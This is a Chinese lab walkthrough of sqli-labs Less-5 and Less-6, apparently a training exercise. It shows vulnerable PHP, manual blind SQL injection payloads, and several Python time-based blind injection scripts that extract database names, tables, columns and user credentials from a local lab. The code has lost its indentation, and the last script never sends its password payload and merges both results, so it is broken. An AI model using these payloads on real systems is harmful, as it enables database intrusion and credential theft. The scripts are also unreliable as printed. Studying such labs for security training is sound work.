LESS-5 不用注释的查询
注:这节的跟第一关是一样的,输入?id=1,但是返回结果只有:you are in … 正确的思路是盲注。
查看源代码不会返回数据库当中的信息了,所以我们不能利用less1-4 的方法
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//此处省略部分代码
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
输入?id=1’and left(version(),1)=5–+,这里的–+是 - +,因为CSDN显示问题。
上面sql语句的意思是查看一下数据库的版本,看版本号的第一位是不是 5,明显的返回的结果是正确的。我的数据库版本号为 5.6.26
当版本号不正确的时候,则不能正确显示 you are in…
接下来看一下数据库的长度
?id=1’and length(database())=X–+
X的值为8时,返回正确结果,说明长度为 8。
猜测数据库第一位
?id=1’and left(database(),1)>‘m’–+
根据折半查找,我们知道数据库的首字母为s,这里的工作量太大,我写了一个python脚本完成,用的时间盲注原理
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+".format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
成果获取数据库的名字security,也可以获取其他数据库名字,具体改limit的值。
可获取的数据库是information_schema,challenges,mysql,performance_schema,security,sys
根据一开始获得的数据库首字母为s,那么当前数据库为security,那么表的名字也可以获取
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
table='select table_name from information_schema.tables where table_schema=database() '
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(table,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
可以获得到email,refers,uagent,users四个表,也可以用下面的句子慢慢测试,当然还是代码块
?id=1 'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0
0,1),1,1))>101–+
列自然也是相同的方法
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
column='select column_name from information_schema.columns where table_name="users"'
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(column,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
可以查到的列为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查id为1的数据
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
data="select username from security.users where id=1 "
data2="select password from security.users where id=1 "
result=""
result2=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data,i,j)
payload2 = "'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data2, i, j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
result2 += chr(j)
print(result)
print(result2)
break
通过改id我们可以查到所有数据
完成
LESS-6 双注入- 双引号-字符型
Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时,对 id 参数进行了处理。这里可以从
源代码中可以看到。只需要将 ‘ 替换成 “ 。
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
还是利用上面的代码,稍微在sql注入语句改个符号
import requests
import time
url="http://127.0.0.1/sqli/Less-6/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""
for i in range(1,100):
for j in range(1,200):
payload='"and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
具体步骤和less5差不多